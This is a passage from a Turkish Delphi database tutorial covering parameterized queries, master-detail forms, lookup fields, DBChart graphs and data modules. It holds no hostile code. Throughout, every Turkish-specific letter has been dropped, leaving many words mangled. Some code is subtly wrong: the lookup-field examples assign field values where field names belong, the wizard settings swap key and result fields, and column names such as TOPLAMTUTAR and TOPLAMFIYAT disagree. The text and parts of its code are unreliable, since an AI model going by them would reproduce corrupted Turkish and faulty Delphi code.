procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Button1Click(Sender: TObject); begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT and FATURATUTARI<=:FAT2'); Query1.Params[0].AsCurrency:=StrToCurr(Edit3.Text);//ilk parametre Query1.Params[1].AsCurrency:=StrToCurr(Edit4.Text);//ikinci parametre Query1.Open; end; Program altrp Edit kontrollerine parasal ierikleri girin. Ardndan Gster isimli buttona tklayn. Sadece yazm olduunuz kriterlerin arasndaki fatura tutarlar listelenecektir. Dier fatura tutarlarna ait satrlar listelenmeyecektir.

117

Opsiyonel Parametreli Sorgu Oluturmak: Bu blmde yine sorgumuz iin iki adet Edit kontrol kullanacaz. Fakat ilerinden bir tanesi bo olduu zaman dier parametreye gre, ikiside dolu olursa iki kriteride dikkate alarak sorgulama yapacaz. ncelikle aadaki tasarm oluturunuz.

procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Button2Click(Sender: TObject); //opsiyonel sorgulama begin if (Edit3.Text='') and (Edit4.Text='') Then ShowMessage('Ltfen En Az Bir Parametre Giriniz') else if Edit3.Text='' Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI<=:FAT'); Query1.Params[0].AsCurrency:=StrToCurr(Edit4.Text); Query1.Open; end else if Edit4.Text='' Then begin 118

Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT'); Query1.Params[0].AsCurrency:=StrToCurr(Edit3.Text); Query1.Open; end else begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT and FATURATUTARI<=:FAT2'); Query1.Params[0].AsCurrency:=StrToCurr(Edit3.Text); Query1.Params[1].AsCurrency:=StrToCurr(Edit4.Text); Query1.Open; end; end; Program altrn. ayet iki Edit kutusuda bo braklrsa Ltfen En Az Bir Parametre Giriniz uyars kullancya iletilecektir. ayet birinci kontrol doldurulup ikincisi bo braklrsa bu durumda ikinci kontrol hi dikkate alnmayacak, birinci parametre deerinin zerinde fatura tutar olan kaytlar listelenecektir. Ayn ekilde birinci kontrol bo braklp ikinci parametre deeri girilirse o zaman birinci parametre dikkate alnmayarak sadece ikinci parametreye aktarlan tutarn altndaki kaytlar listelenecektir. Eer iki parametreyede deer girilirse bu defa parametre deerlerinin arasndaki fatura tutarlarnn yer ald kaytlar listelenecektir.

119

Parametreyi Like Komutuyla Beraber Kullanmak: String ierikli stunlar ierisinde metin paras aratabilirsiniz. Bilhassa szlk tr uygulamalarn rnek gsterilebilecei bu yap yeri geldii zaman ok kullanl olabilmektedir. Aadaki rnekte Edit kontrol ierisine girilen metin paras MAGAZAADI stunu ierisinde aratlmaktadr.

procedure TForm2.Edit1Change(Sender: TObject); begin Query1.SQL.Clear; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like:MAG'); Query1.Params[0].AsString:=Edit1.Text+'%'; Query1.Open; end; Bu rnekte G harfine basld zaman G ile balayan tm maaza isimleri listelenmektedir (GIMA-GURALLAR-GURSOYLAR). I harfinede baslrsa sadece GIMA maazasna yaplm servisler listelenecektir. ayet herhangi bir yerinde arama yaptracaksanz kodu aadaki ekilde deitiriniz. procedure TForm2.Edit1Change(Sender: TObject); begin Query1.SQL.Clear; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like:MAG'); Query1.Params[0].AsString:='%'+Edit1.Text+'%';//% joker olarak kullanlr. Query1.Open; end;

120

BLM 3 TABLOLAR ARASI LKLENDRME

121

122

Birden Fazla Tablo le almak: ok fazla stuna sahip tablolar yerine, daha az stunlu ve fazla tablo ile (tabiiki mmkn olabiliyor ise) almak performansnz etkileyen ok nemli bir faktrdr. Tablolar blme ilemi rasgeli bir ekilde yaplamaz. Dikkat etmeniz gereken hususlar olacaktr. Bldnz iki tablo arasnda iliki kurabileceiniz bir stunun muhakkak olmas gerekecektir. Ayrca iliki yaratacanz stunlarn iki tabloda da indexlenmesi gerekecektir. (Index lerin Primary veya Secondary olmas nem arz etmez. Ama genellikle statik bilgilerin yer ald tabloda primary, dinamik bilgilerin yer ald tabloda da secondary index kullanmak en iyi ve doru zmdr (Bu tr ilikiler Bire-ok lu iliki olarak adlandrlmaktadr). imdi aadaki iki tabloyu oluturarak, ilikili tablolarda ilemlerin nasl yaptrlabileceini aklayalm. Tablo1:MAGAZA TABLOSU
Fieeld Name(Stun smi) MAGAZAADI ADRES TELEFON MUDUR SEHIR Type(Tipi) A A A A A 25 25 15 25 25 Size (Ka Karakter) Key(Primary ind) *

Tablo2:SERVIS TABLOSU
Fieeld Name(Stun smi) SIRANO MAGAZAADI SERVISTARIHI GIDENFIRMA ARIZASEBEBI FATURATUTARI Type(Tipi) + A D A A $ 25 25 25 Size (Ka Karakter) Otomatik artar Key(Primary ind) * Secondary Index

Yukardaki iki tablo yerine tek bir tablo yapsaydnz, bir ok stuna gereksiz verileri girmi olacaktnz, haliylede hem skc olacakt, hemde tablonuzu bo yere iirmi olacaktnz. Tablolarn fazla bymesi performans etkileyen ok nemli bir faktrdr. ki adet tablomuz var. Bu tablolardan birincisi maazalara ait statik bilgilerin tutulduu ve maaza adnn Primary index olarak tanmland MAGAZA tablosu. kincisi ise maazalara ait dinamik bilgilerin yer ald ve maaza ad stununun Secondary index olarak tanmland SERVIS tablosu. Bu iki 123

tablo arasnda indexli stunlar kullanlarak Master-Detail form yaps oluturulacaktr (iliki yaratlacaktr). Uyar:Paradox tablolarnda primary index oluturmadan secondary index yaratamazsnz. Aadaki admlar izleyiniz. File->New-Other admlarn izleyerek alan pencereden Business yapran aktifletirin. DataBase Form Wizard seeneini seip OK Buttonuna tklayn. Karnza aadaki pencere alacaktr.

Alan pencerede, Form Options ksmndan Create a master/detail form seeneini,Dataset Options ksmndan da Create a form using Ttable object seeneini iaretleyip Next dmesine basn. Karnza ilk olarak Master tablonuzu seebileceiniz pencere gelecektir. Bu pencere aliasnzn (gazi) referans gsterdii klasrn ierisinde yer alan MAGAZA tablosunu seerek Next dmesine tklayn. Bu admda karnza gelen pencereden master tablonuzda, formun zerine gzkmesini istediiniz stunlar belirlenizi isteyecektir. Formda gzkmesini istediiniz stunlar Available Field listesinden Ordered selected Fields listesine aktarp Next dmesine basn (biz btn stunlar aldk). Alan yeni pencereden Vertically iaret dmesini seerek Next dmesine tklayn. 124

Yeni bir pencere alacaktr bu pencereden Left seeneini seip Next dmesine tklayn. Karnza aadaki pencere alacaktr.

Bu pencereden Detail olarak kullanacanz tabloyu semenizi isteyecektir. SERVIS tablosunu seerek Next dmesine tklayn. Alan yeni pencere Detail tablonuzdan formun zerinde gzkmesini istediiniz stunlar semenizi isteyecektir (Biz SIRANO hari tm sutunlar dahil ettik). Next dmesine tklayn. Alan yeni pencereden In a Grid iaret dmesini seerek Next buttonuna tklayn. Aadaki pencere alacaktr.

125

Bu pencerede Available Indexes listesinde Detail tablosundaki tm index ler gzkecektir. MAGAZAINDEX (maazaad stunu iin tanmlanan secondary index) olann sein. Detail Fields listesinde otomatik olarak gzkecektir. Detail Fields listesinden MAGAZAINDEX ve Master Fields listesinden de MAGAZA ADI stununu seip Add buttonuna tklayn. Yarattnz iliki Joined Fields listesinde aadaki gibi oluturulacaktr.

Next dmesine basn. Finish deyip wizard bitirin. Yukardaki admlardan sonra Delphi sizlere Master-Detail ierii olan bir form yaps oluturacaktr. Bu yapda ok nemli bir zellik barnmaktadr. Master tablonuzdan bir maaza ismini setiiniz zaman Detail tablonuzda (DataGrid ierisinde) sadece o maazaya yaplm olan servisleri listeleme ansn bulacaksnz. Bu yapnn dier bir zelliide var olmayan bir maazaya yanllkla servisin yaplamayacadr. nk SERVIS tablosuna kayt girerken (DataGrid ierisinden) maaza adn kendisi otomatik olarak belirleyecektir. Haliyle kullancnn yapabilecei yanl isim girme ilemlerinin nne gemi olacaksnz. Master-Detail form yapsnda Delphi sizin yerinize formunuza iki adet Table , iki adet DataSource, master tablodaki stun says kadar Edit 126

kontrol ve Detail tablo bilgilerinizi topluca listelemeniz iin DataGrid nesnesini yerletirecektir. Program altrdktan sonraki ekran grntnz aada verilmitir.

DBNavigator kontrolnde yapacanz kayt gezinti ilemleri DataGrid nesnesindeki kaytlarn tamamen deimesine (seilen maazaya ait kaytlar gsterecektir) sebep olacaktr. Master Detail Form Yapsn Manuel Oluturmak: Burada Master tablo iin yaplan ilem sadece paradox tablosuna balanty salamaktr (Table1-DataSorce1).Detail tablosu iin (ayet manuel olarak siz balant ilemini yapacaksanz) aadaki ayarlar yapmanz gerekecektir.

Koyu renkte yazlm zellikleri, kodla veya Object Inspector penceresinden ayarlamalsnz(IndexName-MasterFields-MasterSource). Sylemeye gerek yo sanrm, DataSource2 kontrolnde Table2 nesnesine balamalsnz.

127

Master-Detail Tablolarda Kayt Arama lemleri: Neredeyse btn projelerinizde kullanacanz bir uygulama seeneidir. Dnn yukardaki Master-Detail yapda herhangi bir maazaya servis yapld zaman faturay nasl ileyeceksiniz. zah edelim, ncelikle Master tablodan maazay bulacaz, bu maazaya gre DataGrid nesnesinde servisler listelenecek, kayd da yeni bir servis olarak DataGrid nesnesine ekleyeceiz. Yukarda yapm olduunuz form yapsna bir adet Edit kontrol yerletirerek aadaki yeni tasarm oluturunuz.

Aadaki kod bloonu Edit Kontrolnn OnkeyPress yordamna ekleyiniz. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); //Kayt Bul Var ara:Boolean; begin if Key=#13 Then begin ara:=Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]); if ara=false Then begin 128

ShowMessage('Kayt Bulunamad'); end end; end; Program altrn. Ardndan aradnz maaza ismini girip klavyeden Enter tuuna basn. Master tablonuz o maazay gsterecek, Detail tablonuzda o maazaya ait yaplm servisleri listeleyecektir. altrldktan sonraki form grnts aada verilmitir.

Yukardaki rnekte Edit kontrol ierisine aradmz maaza ismi olarak MIGROS deerini girip Enter tuuna bastk. Bilgisayarn yapt ilemse MIGROS maazasn Master tabloda aktifletirmek, arkasndan ona bal olarak alan Detail tablosunda da MIGROS maazasna yaplm olan servisleri listelemek olmutur. Gireceiniz faturay DataGrid nesnesinin en son satrna ekleyebilirsiniz. Hatrlatma:Master-Detail tablo yapsnda iki tabloda da ilikilendirilecek olan stunlar index olarak tanmlayn. Aksi takdirde uygulamada bir ok sknt yaayabilirsiniz.

129

Lookup lemleri Birbirleriyle ilikili tablo yaplarnda Lookup ilemleri sizlere tahmin edemeyeceiniz kadar kolaylklar salayacaktr. Daha nceden oluturduumuz MAGAZA ve SERVIS tablolar iin syle bir senaryo retelim. ncelikle servis tablosuna girilecek kaytlarda maaza tablosunda olmayan bir maazann bulunmas ok kt sonular douracaktr. Kullanc maaza adn girerken MIGROS yerine MAAGROS veya DIA yerine DIYA yazabilir, bu hata binlerce kaydn girildii tablolarda ok normal karlanabilir bir durumdur. Ama isterseniz byle bir hatann olumasn aada anlatacam yntemle tamamen nleyebilirsiniz. SERVIS tablosuna girilecek maaza adn kullancya klavyeden girdirmeyip, ekleyeceiniz bir ComboBox kutusundan setirtebilirsiniz. ComboBox n alan penceresindeki deerleride MAGAZA tablosunda yer alan MAGAZAADI stunundan aldrabilirsiniz. imdi bu ilemleri nasl yapabileceinizi detayl olarak izah etmeye alalm. DBLookupComboBox Kontrol: Baka bir tablonun (veya Query nin) stun bilgilerini listelemek iin kullanlan en etkili kontroldr. Balant ilemlerinde kullanacanz extra zellikleri aada verilmitir. DBLookupComboBox1.DataSource Bu zellik sayesinde ierisine girilen kaytlarn yazdrlaca kaynak belirlenebilir (Aynen DBEdit kontrndeki zellik gibidir). procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource2; end; DBLookupComboBox1.DataField Kontrole girilen ieriin kaynakta yazdrlaca stunu belirleyen zelliidir (Aynen DBEdit kontrolnde olduu gibi). procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource2; DBLookupComboBox1.DataField:='MAGAZAADI'; end; 130

DBLookupComboBox1.ListSource Kontroln ierisinde gsterilecek olan stun (dier tablodaki) bilgilerinin yer ald kayna belirleyen zelliidir (Bu zellik DBEdit kontrolnde yoktur). procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; end; DBLookupComboBox1.ListField eriin belirtildii kaynakta birden fazla stun olabilecei iin hangi stunla ilikilendirilecei bu zellikle belirlenmelidir. procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; DBLookupComboBox1.ListField:='MAGAZAADI'; Table1.Open; end; DBLookupComboBox1.KeyField ComboBox n ieriinde yer alacak liste deerlerinin hangi stundan alnaca bu zellikle belirlenir. ListField ile KeyField ayn eyi yapyor gibi gzksede kesinlikle yanl bir tesbit. Bu husus iin bir sonraki blme baknz. procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; DBLookupComboBox1.ListField:='MAGAZAADI'; DBLookupComboBox1.KeyField:='MAGAZAADI'; Table1.Open; end; 131

imdi zelliklerini anlattmz kontrolleri rnek zerinde grmeye alalm. Aadaki tasarm oluturunuz (Edit kontrollerini Table1 nesnesine, Table1 nesnesini paradox ta yarattnz servis tablonuza balamay untmaynz). Ayrca formunuza bir adet Query (dier tablo balants iin kullanlacak) ve bir adet DataSource (Query kontrolne balanacak) kontrol daha eklemeyi unutmaynz (Balant ilemleri tamamen kodla yaplaca iin bu iki kontrole properties penceresinden mdahale etmenize gerek yoktur).

Aadaki kod blounuda Unit pencerenize ekleyiniz. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.SQL.Add('Select MAGAZAADI from MAGAZA'); Query1.Open; DataSource2.DataSet:=Query1; DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; DBLookupComboBox1.ListField:='MAGAZAADI'; DBLookupComboBox1.KeyField:='MAGAZAADI'; Table1.Open; end; Program altrdktan sonra kullanc MAGAZAADI stunu iin ekleyecei veya deitirecei kaytlar da klavyeyi kullanmayacak, sedece alan listeden maaza adn seme ilemini gerekletirecektir. Bu seyede oluabilecek hatalarn (yanl maazay seerse sizin yapabileceiniz hibir ey yoktur. Yzde yz kullanc hatas olur. Ama unutmayn nleyebileceiniz kullanc 132

hatalarnda mutlaka ekleyeceiniz kodlarla minimuma indirmeye alnz) neredeyse tamamnn nne gemi olacaksnz. Programn altrldktan sonraki grnts aadaki pencerede gsterilmektedir. Kayt girerken veya deitirirken kullancnn ComboBox ierisinde var olan listeyi kullanacan sakn untmaynz.

DBLookupComboBox1.Text Kontroln gsterdii deer bu zellikte saklanmaktadr. procedure TForm3.DBLookupComboBox1Click(Sender: TObject); begin Form3.Caption:=DBLookupComboBox1.Text; end; DBLookupComboBox1.DropDownRows Kontrol ierisindeki liste ald zaman gsterilecek olan satr says bu zellikle belirlenir. ayet satr elemanlar daha fazla ise br elemanlara kaydrma ubuu sayesinde eriilebilir. procedure TForm3.DBLookupComboBox1Click(Sender: TObject); //Ka Satr begin DBLookupComboBox1.DropDownRows:=8; end;

133

DBLookupListBox Kontrol: Karakteristik olarak DBLookupComboBox kontrolne ait zellikleri aynen kullanr. Kontrol anlamanz iin aadaki ekilde Query1 kontroln kullanarak DataGrid nesnesi (DataSource1 ve kullanlarak) ierisindeki satrlar doldurun (Bu hususta balantnn nasl yaplabilecei daha nce detayl olarak anlatlmtr). Ayn forma ikinci bir Query ve Datasource nesnesiyle beraber bir adette DBLookupListBox kontrol yerletiriniz.Amacmz MAGAZA tablosundaki maaza adlarn liste ierisinde gstermek olacaktr. Ardndan da listeden seilen maaza adna gre DataGrid nesnesinde sorgulama yapacaz. Yani setiimiz maaza ismine ait servisleri listeleyeceiz.

Programa ait kod blou aada verilmitir. Unit pencerenize ekleyiniz. procedure TForm4.FormCreate(Sender: TObject); begin Query1.Open; Query2.DatabaseName:='gazi'; Query2.SQL.Add('Select MAGAZAADI from MAGAZA'); Query2.Open; DataSource2.DataSet:=Query2; DBLookupListBox1.ListSource:=DataSource2; DBLookupListBox1.KeyField:='MAGAZAADI'; end; 134

procedure TForm4.DBLookupListBox1DblClick(Sender: TObject); var deger:AnsiString; begin deger:=DBLookupListBox1.SelectedItem; Query1.SQL.Clear; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=deger; Query1.Open; end;

Program altrdktan sonra listeden zerine ift tklayacanz maaza adna ait yaplm olan tm servisler DataGrid nesnesinde gsterilecektir.

135

Tabloda Lookup Stunlar Yaratmak: Lookup kontrolleri dnda tablonuzda direk lookup stunlar oluturursanz, kayt ekleme ve deitirme zamanlarnda sizlere ok byk kolaylklar salayacaktr. Olay rnek zerinde izah etmek istiyorum. ncelikle aadaki iki tabloyu yeniler isimli bir alias oluturup ierisine kaydedin. Tablo1:URUN Tablosu
Fieeld Name(Stun smi) BARKODNO URUNADI FIYATI Type(Tipi) N A $ 25 Size (Ka Karakter) Key(Primary ind) *

Tablo2:SATIS Tablosu
Fieeld Name(Stun smi) SIRANO URUNADI SATISTARIHI FIYATI KDV TOPLAMTUTAR Type(Tipi) + A D $ $ $ 25 Size (Ka Karakter) Key(Primary ind) *

Uygulamadaki ama ikinci tabloya kayt girerken rn Ad n setii zaman FIYATI stunu deerini otomatik olarak birinci tablodan alacak (doabilecek fiyat farkllklarn bu ekilde her zaman engelleyebilirsiniz). imdi Table kontrolN kullanarak DataGrid nesnesinde ikinci tablonun (SATIS) tm kaytlarnn gsterilmesini salayp aada verilen admlar izleyin.

Formunuza ikinci bir Table nesnesi ekleyin. 136

DataBaseName zelliine Alias isminizi (yeniler), TableName zelliinede URUN (birinci tablo) tablosunu aktarn. Active zelliini de true yapn. imdi eklemi olduunuz ilk Table (Table1) nesnesini seip mousun sa tuuna tklayn. Alan menden Fields Editor seeneine tklayn.

Alan pencere den URUNADI stununu seip Object Inspector penceresinden FieldKind zelliine fkLookup,KeyFields zelliine FIYATI stununu, Lookup Dataset zelliine Table2, LookupResultField zelliine URUNADI stununu, LookupKeyFields zelliine de FIYAT stununu aktarn. Bundan sonra yapacamz ksm Lookup ilemleri iin zorunlu deildir. Ama proje olmas asndan bunlarda aynen uygulayn. Bu admda KDV ile TOPLAMFIYAT stununu beraberce seip FieldKind zelliklerini fkCalculated yapn. Aadaki kod blounuda gsterilen yordama ekleyip projenizi altrabilirsiniz. procedure TForm3.Table1CalcFields(DataSet: TDataSet); //Hesapla begin Table1KDV.AsCurrency:=Table1FIYATI.AsCurrency*0.15; Table1TOPLAMFIYAT.AsCurrency:=Table1FIYATI.AsCurrency*1.15; end; Yukardaki kod satrn yazmamdaki ama rnn fiyat belirlendikten sonra KDV ile TOPLAMFIYAT stunlarnn deerlerinin otomatik olarak (hi bir tetikleyici kullanmadan) hesaplanmasn istemi olmamdan kaynaklanmaktadr. Yoksa Lookup ilemleriyle herhangi bir ilgisi yoktur.

137

Program altrdktan sonra Kayt Ekle dmesine (+) basn. URUNADI Stununa mous ile ift tklarsanz sa tarafnda alan bir pencere belirecektir (Lookup olay). Bu pencereden herhangi bir rn setiiniz vakit, bu rnn birinci tablodaki fiyat otomatik olarak ikinci tabloya aktarlacak (FIYATI stununa), hesaplama ilemleri iin yukardaki kod altrlarak dier iki stun daha hesaplattrlacaktr.

URUNADI stunundan TV seildikten hemen sonraki DataGrid grntsn yukarda grebilirsiniz. Dier stun bilgileri yerlerini alm ekilde beklemektedir. Drdnc admdaki Lookup ileminde kullanlan zellikleri ayrca izah etmek istiyorum. Bunlar Object Inspector penceresinden ayarladk dilerseniz aadaki ekilde kodlada deerlerini atayabilirdiniz. Table1.Fields[0].LookupDataSet Kontroln ierisinde gsterilecek deerlerin bulunduu stun deerinin hangi tablo ierisinde olduunu belirleyen zelliidir. procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2;//ilk stun end; Table1.Fields[0].LookupKeyFields Seilen deerin dier tablodaki hangi stun deerine yazlacan belirleyen zelliidir. 138

procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2; Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString;//ikinci stun end; Table1.Fields[0].LookupResultField Alan listede gsterilecek olan kaytlarn kayna olarak kullanlacak olan stun ismini belirleyebileceiniz zelliidir. procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2; Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString; Table1.Fields[0].LookupResultField:=Table2FIYAT.AsString; end; Table1.Fields[0].KeyFields Seilen deerin ana tabloda hangi stun yerine yazdrlacan belirleyen zelliidir. procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2; Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString; Table1.Fields[0].LookupResultField:=Table2FIYAT.AsString; Table1.Fields[0].KeyFields:=Table1FIYATI.AsString; end; Table1.Fields[0].FieldKind Stunun hesaplanma ekline belirleyen zelliidir. fkLookup deeri atanrsa baka bir stuna ait deeri kullanabilir. procedure TForm3.FormCreate(Sender: TObject); begin Table1.Fields[0].FieldKind:=fkLookup; end;

139

140

BLM 4 GARAFK ZDRMEK

141

142

Tablo Kaytlarn Grafikte Gstermek: Bu blmdeki amacmz elimizde mevcut olan tablolara ait bilgileri kullanarak grafik oluturmak olacaktr. Kullanacamz grafik kontrol ile birden fazla seriyi ayn grafik ierisinde gsterme ansna sahibiz. Aadaki admlar dikkatlice inceleyiniz. Formunuza bir adet Data Controls yapranda yer alan DBChart kontrol yerletirip Align zelliine alClient deerini aktarn. kinci admda BDE yapranda yer alan Table veye Query kontrollerinden bir tanesini formunuza srkleyin (Biz Query kontroln tercih ettik). Query Kontrolnzn DataBaseName zelliine gazi, SQL zelliinede Select MAGAZAADI,sum(FATURATUTARI) From Servis Group By MAGAZAADI sorgusunu girin. Bu sorgudaki amacmz maazalar iin yaplm olan toplam servis demelerini grafik olarak gstermek olacaktr (Tek kalem olarak). Query kontrolnn Active zelliine true deerini aktarnz.

En son grntnz yukardaki ekilde olumaldr. Bu admda DBChart kontroln seip mousun sa tuuna tklayn. Alan menden Edit Chart seeneini seerseniz Aadaki pencere alacaktr. Grafie ait btn grsel ve ieriksel ayarlar buradan yapabilirsiniz. Editing DBChart penceresinde iki adet ana yaprak, o yapralara ait bir sr alt seenekler bulunmaktadr. imdi bu seenekler ierisinde bizler iin nem arz edecek olanlarn detaylca inceleyeceiz.

143

Yapraklar incelerken srayla gitmeyeceim. Sebebi basittir, nemli olanlardan basit olanlara doru bir inceleme yntemi setim. Dikkatlice izleyiniz.

lk Olarak grafii izilecek olan seriyi ekleyelim (zorunludur). Chart yapra aktif iken, alt yapraklardan Series sayfasn aktifletin. Add dmesine tklayn aadaki pencere alacaktr. Bu pencereden grafiinizin trn seebilirsiniz.

lgili tr setikten sonra OK dmesine basarak pencereyi kapatnz. 144

Aadaki pencerede gzkt gibi ilk seriniz olumu olacaktr. Bu admda Title dmesine tklayarak grafiinizin ismini belirleyebilirsiniz. Grafiinize isim verdikten sonraki grntnzn aadaki ekilde olumas gerekecektir.

Bu admda General yaprana geerek grntsel ve animasyona ynelik basit bir ka ayar yapalm.

Allow Zoom ile Animated Zoom iaret kutularn doldurun.

145

Bu seenekler grafik zerinde mous ile animasyonlu ekilde zoom yapabilmenizi salayacaktr. Titles yaprana gein. Bu yaprak ta aada gsterilen balk ismini yazarak (dilerseniz renk ve font ayarlarn buradan yapabilirsiniz).

3D Yaprandan da boyutlu grnmn ayarlayabilirsiniz.

Bu penceredeki 3 Dimension, grafiin izometrik grntsne ait a deerini belirleyecektir. 146

Gelelim grafik ierisinde izimi yaplacak olan veriler ile balantnn salanmasna, bu ilem iin Series yapran kullanacaz. Bu yapraa ait Data Source sayfasn aktifletirerek aadaki deerleri giriniz.

DataSet ksmna Query1, Labels ksmna MAGAZAADI (Yatay eksen), Pie ksmna da dey eksende gsterilecek olan SUM(FATURATUTARI) stununu sein. Marks yapranda da aadaki ayarlar yapn.

Close dmesine tklayarak pencereyi kapatnz. 147

Artk programnz izdirilecektir.

altrabilirsiniz.

Grafiiniz

istediiniz

ekilde

Grafiinizi boyutlu gstermek iin aadaki basit ayar deitirmeniz yeterli olacaktr. Chart yapranda yer alan 3D sayfasn aktifletirerek Elevation deerini uygun olan lde deitirin.

Uygulamanza ait en son ekran grnts yukardaki pencerede gzkt ekilde gereklemi olmaldr. imdi de sizlere birden fazla seri eklinde izilen grafikleri tek bir ekranda nasl gsterebileceinizi gstereceim. Aadaki admlar dikkatlice takip ediniz.

148

Birden Fazla Seri eren Grafik Oluturmak: Gelir-Gider deerlerinin tutulduu tabloya ait bilgileri, tek bir grafik ierisinde yneticiye gstermek amal aadaki ekilde oluturunuz.
Fieeld Name(Stun smi) AYLAR GELIR GIDER Type(Tipi) A $ $ 25 Size (Ka Karakter) Key(Primary ind)

Birinci admda formunuza bir adet Table nesnesi yerletirip yukardaki tabloyla balantsn salayn. kinci admda formunuza bir adet DBChart kontrol yerletirerek, mousun sa tuuna tklayn. Alan men seeneklerinden Edit Chart a tklayarak aadaki pencerenin almasn salayn. Bu pencerede ard arda iki kere Add buttonuna tklayarak (balklarnda Title a tklayarak belirleyin) iki adet seri yaratn.

Bu admda Gelir isimli seriyi seip Series yapranda yer alan DataSource sayfasnda aadaki ekilde deiikliklerinizi yapn. Daha nceki rnekte gsterdiimiz grntsel ayarlar teker teker siz yapn. Dataset kutusuna Table1, Labels kutusuna AYLAR, Y kutusunada GELIR atamalarn yapn.

149

Son adm olarak tekrar Chart yapran aktifletirin.

Bu sefer Gider isimli seriyi seerek Series yaprandaki DataSource sayfasn aktifletirin. Bu sayfadaki tm ayarlar da aadaki ekilde yapn.

Tekrar Chart yaprana dnerek iki serinin banda yer alan iaret kutularnn seili olduunu kontrol edin. Artk uygulamanz altrabilirsiniz. 150

Uygulamada iki adet serinin olduu, birincisinin Gelir miktarn, ikincisinin de Gider miktarn tuttuu sanyorum dikkatinizi ekmitir. Bu sayede zararkar durumunu grafikten kolayca izleyebilirsiniz. Grafii Yazdrmak: Aadaki komutla oluturmu olduunuz grafii yazcya gnderebilirsiniz. Serilerinizin ikiside bastrlacaktr. procedure TForm6.Button1Click(Sender: TObject); begin DBChart1.Print;//Yazdr end;

151

Data Modul Yaps: Tablo kaytlarn kullancya gsterebilmek veya kullancnn tablolara kayt ekleyebilmesini salamak amal olarak formunuza bir ok kontrol eklemekteyiz (Table,Query vs). Ayn balantlar projenizin ierisinde birok defa tekrarlanacaksa, bu yapy DataModul ierisinde oluturmak size hem zaman kazandracak, hemde kodlamaya daha fazla zaman ayrabileceiniz iin skntdan kurtulacaksnz. Bu kontrolleri DataModul ierisinde kullanmak sonular asla deitirmeyecektir. Aada yapnn oluturulabilmesi iin izlenmesi gereken admlar incelenmektedir. File->New->Other men admlarndan sonra aadaki pencere alacaktr.

Alan pencere den Data Module seeneini seerek OK buttonuna tklayn.

DataModule isimli yukardaki pencere alacaktr. 152

DataModule Kullanarak Tablolara Balanmak: Bu blmde projeye eklemi olduumuz yukardaki DataModule kullanarak veri taban ierisinde yer alan tablolara balanacaz. Aadaki admlar izleyiniz. Birinci adm da File->New->Other->Data Module seeneklerini izleyerek uygulamanza bir adet Data Module nesnesi ekleyiniz (Unit2 Oluacaktr). kinci adm BDE yapranda yer alan Table nesnesinden bir adet Data Module zerine srkleyin. Data Module zerindeki Table nesnesini seerek DataBaseName zelliine aliasnzn ismini (gazi), Table Name zelliine de balant kuracanz tablonun ismini aktarn (MAGAZA). Drdnc Adm olarak Data Module zerine Data Access yapranda yer alan DataSource kontrolnden bir adet yerletirip DataSet zelliine Table1 nesnesini aktarn.

Son olarak Table nesnesinin Active zelliine true deerini aktarn. Bu mantkla Data Module zerine dilediiniz kadar kontrol yerletirebilirsiniz. Biz olayn anlalabilirliini artrabilmek iin bu ekilde basit bir yap oluturmay uygun grdk. imdiki blmde de formumuzun zerine yerletireceimiz kontrollerle Data Modl kullanarak tablonuzdaki kaytlara nasl eriebileceinizi gstereceim. ncelikle aadaki form tasarmn oluturunuz. Formunuzun zerine bir adet DBGrid nesnesi ile bir adet DBNavigator kontrol yerletiriniz. Ardndan formunuza ait Unit penceresine uses Unit2 satrn ekleyin (Bu satr eklemezseniz Data Modl Unit2 ye ait olaca iin

153

dier ilemlerinizi gerekletiremeyeceksiniz). Bu satr sayesinde Data Modl nesnesine eriebileceksiniz.

imdi DBGrid kontroln seerek Object Inspector penceresinde yer alan DataSource zelliine tklayn. Aadaki ekilde DataModl nzn gzkecei bir grnt elde edeceksiniz (zellie bu nesneyi aktarn).

Ayn ilemi DBNavigator kontrol iin de yapp uygulamanz altrn.

Grld gibi baka hi bir kod satrna ihtiya duyulmadan, tablonuza ait tm kaytlar kolayca listelemeyi baaracaksnz. 154

